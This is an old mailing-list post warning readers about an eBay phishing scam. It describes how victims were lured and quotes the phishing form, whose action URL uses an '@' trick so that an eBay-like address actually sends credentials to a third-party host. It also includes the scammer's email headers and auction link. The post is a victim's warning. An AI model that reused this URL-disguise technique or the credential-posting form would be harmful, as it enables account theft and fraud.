OT: Warning about ebay scam..

[Travis Roy]

Sorry for the off-topic post, but both my brother and my parents got  
burnt by this so I thought I would let all you know so you can inform  
your family members..

Some guy is setting up a site at various webhosting places and then  
sending out spam that looks like it's coming from ebay. You enter in  
your ebay username and password and then click submit and it takes you  
to another ebay looking page that asks for various info including your  
account numbers and your paypal password.

The funny thing about this is, the fool is trying to now sell  
snowmobiles (probably fraud, just wants to get the $4k and run) with my  
parents stolen ebay account.

Here's some interesting stuff... From the bogus ebay email if you look  
at the submit line for the form:

<FORM name=3Dsignup onsubmit=3D"return Valid(this)"=20
action=3Dhttp://scgi.ebay.com.saw- 
cgi.eBayISAPI.dll.RegisterEnterInfo.Reg=
isterConfirmInformation.dll.reenterinformationconfirmationeBayISAPI.dll@ 
b=
asateras.netfirms.com/ 
eBayISAPidlldasSKJEDFKJSdsalkepoamncjfdsjKKdsjdxcmn=
zkjsjeLKKLKdsjnxs/ 
ksjdeISJJSjjISSdlldkDKJlLXcdcawerfDEurERRudsksalfkmcxXX=
lkdmfldll/ 
LKJDjedssjheflkcgieBaysadkKJEDjdfklluseridLKSKdskdmxskjdeEEdkja=
s7837sdkjd/a.php=20
method=3Dpost>

You can see that's made to look like ebay but it really goes to  
netfirms.com. This was the one my brother got. The one my parents got  
was from a different hosting place.

Also, my sister-in-law sent the guy an email about his auction and she  
got a reply.. here's his header info:

Received: from web25207.mail.ukl.yahoo.com ([217.12.10.67])
          by rwcrmxc14.comcast.net (rwcrmxc14) with SMTP
          id <20031110013427r1400l7llhe>; Mon, 10 Nov 2003 01:34:27  
+0000
X-Originating-IP: [217.12.10.67]
Message-ID: <20031110013426.37601.qmail at web25207.mail.ukl.yahoo.com>
Received: from [152.163.252.70] by web25207.mail.ukl.yahoo.com via  
HTTP; Sun, 09 Nov 2003 17:34:26 PST
Date: Sun, 9 Nov 2003 17:34:26 -0800 (PST)
From: JW <jjmroy at yahoo.es>

And finally... here's his auction:

http://cgi.ebay.com/ebaymotors/ws/eBayISAPI.dll? 
ViewItem&category=42597&item=2441935799

We've already contacted ebay, and both my parents and brother are  
taking action to get their accounts disabled and/or changed. Any help  
getting this dirtbag would be a big help :)